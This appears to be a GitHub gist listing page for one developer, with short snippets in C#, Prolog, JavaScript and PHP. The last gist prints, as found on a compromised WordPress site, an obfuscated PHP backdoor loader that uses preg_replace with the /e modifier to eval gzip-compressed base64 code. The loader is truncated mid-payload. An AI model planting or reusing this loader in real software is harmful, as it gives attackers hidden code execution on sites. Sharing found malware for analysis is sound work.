Skip to content

Instantly share code, notes, and snippets.

View andy-williams's full-sized avatar

Andrew Williams andy-williams

View GitHub Profile
@andy-williams
andy-williams / httpclient-warning.cs
Last active December 22, 2015 21:44
.NET HttpClient Warning
void Main()
{
using(var stream = File.Open(@"D:\test.txt", FileMode.Open))
using(var httpClient = new HttpClient())
{
stream.Dump();
var httpContent = new StreamContent(stream);
// pretty sweet test server by Henry Cipolla
// http://henrycipollablog.com/2011/12/06/testing-multipartform-data-uploads-with-post-test-server/
@andy-williams
andy-williams / xoxo.pl
Created June 23, 2015 17:04
Some old code I've written during my time in University. This is a tic-tact-toe game written entirely in prolog. Includes board generator and support for 2 players.
/*************************************************
* CHA 2555 - ARTIFICIAL INTELLIGENCE (2012-2013)
* Andrew Williams
* u0857629@unimail.hud.ac.uk
* BSc (Hons) Software Development
************************************************/
/********
* XOXO
********
@andy-williams
andy-williams / by-call.js
Last active August 29, 2015 14:23
Reuse your render method to be standardised
myNameSpace.backboneExtensions.methods.render = function() {
this.$el.html(this.tmpl(this.model.attributes));
return this;
}
MyView = Backbone.View((function() {
var myRender = myNameSpace.backboneExtensions.methods.render;
return {
// your properties
function iterateArrayWithDelay(argsArr, delay, fn) {
var index = 0;
function next() {
// protect against empty array
if (!argsArr.length) {
return;
}
// call the callback
@andy-williams
andy-williams / gist:d40a8b035767bc0d2640
Last active August 29, 2015 14:13
Umbraco set dropdown value
var appContext = ApplicationContext.Current;
var content = appContext.Services.ContentService.CreateContent("content", 0, "docTypeAlias");
content.SetValue("quarter", "Q1");
appContext.Services.ContentService.Save(content);
@andy-williams
andy-williams / CellValuesExtension.cs
Created January 6, 2015 13:42
CellValuesExtension for OpenXML library
public static class CellValuesExtension
{
public static bool IsBoolean(this EnumValue<CellValues> cellValues)
{
return IsNotEmpty(cellValues) && cellValues.Value == CellValues.Boolean;
}
public static bool IsDate(this EnumValue<CellValues> cellValues)
{
return IsNotEmpty(cellValues) && cellValues.Value == CellValues.Date;
@andy-williams
andy-williams / gist:d4984f91427d7807409d
Created December 9, 2014 16:32
Download Service, Reading XML
public class DownloadsService
{
private readonly IDictionary<string, IList<Download>> _downloadsCollections;
public DownloadsService()
{
// may be changed as a separate config service if we need to change it somehow
_downloadsCollections = GetDownloadsCollections();
}
<?php
echo "query data:<br>";
print_r($_GET['array']);
echo "<br>";
echo "query keys:<br>";
print_r(array_keys($_GET['array']));
@andy-williams
andy-williams / index.php
Created April 15, 2014 08:49
Malicious PHP code I found in a wordpress site
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZfNjuNGDITvAfIOg8UcksvCUv9JWORN5iLZFnIIcsruet8+zeJHS6MEE+QgWD/dbLJYLNKvj+uf0++Pl5fPv718enu0S7/Gt0ct/Wpvj7Ltz/atXvs19Cv5u3HqV/8+9nXjvV+L3+ubvb/6b+m/ra9NtV/l8Nz83bvvw/vnnA7P3VaaTuvbe3v5tD/NJ3vl9L1+cN7ZH/M3fxDPv/l3jv9s73ze0V46+ZdO5/e1+YzfR/7Vf573v/YT39j9bj3Xxfb3b7nf1wX+2P4BnO3Z8O97mj0bjyxfxp/N9+S+vplPo/PL9uXNz7Fc2rn11q9+Vu1rK8+23mznu8dgfDVbur/5mWbD/GyD89jOHtf+zdaFHzePUVgu/GbfY+fZOSXyZvGubsuezYZhYr5Z7LbP+G951XNyvOXX5njU7m+6eBw5ONDc/2pYLb6ukF/jbyXPiToUJyYwI09ldl8aODz3JH+X0qcvP//02uO/bDkKXoXcN+UbBX73BNg7S0ojcRlQLFADTU7PkGNxJ5ToC+KROXgh4MlJcVxjiSsNApF4syUCXRwMs9Oq76+ri4++VX9v+wQQBNE3CNUAx2IzwJXEi58hYCOZE8LWiOPiyVd8YGJ+GlZGnig6EWvxRAhDMNPajffTjpf84Ex7JxIWt2lnt+PzTBHwvlKAtqeUA86F4mr+K8INjoftz+RC+Nx8nXDb3I5Evnpsjf0q1ObkVHyD36tYKL50KAxhkuHJ4Pjm2fMl3xBB44+40sh98vWGx7Pgi2Nozw1xlt8zsQ+eHztT+/DXsJfYXOBshi/JeSG7cFG4X/0cYVUQowEBauAWz5vbsfzpjOZrxJfV32U4+2wAk9sX92ePU/FV8ry4H4l8m2i0EI9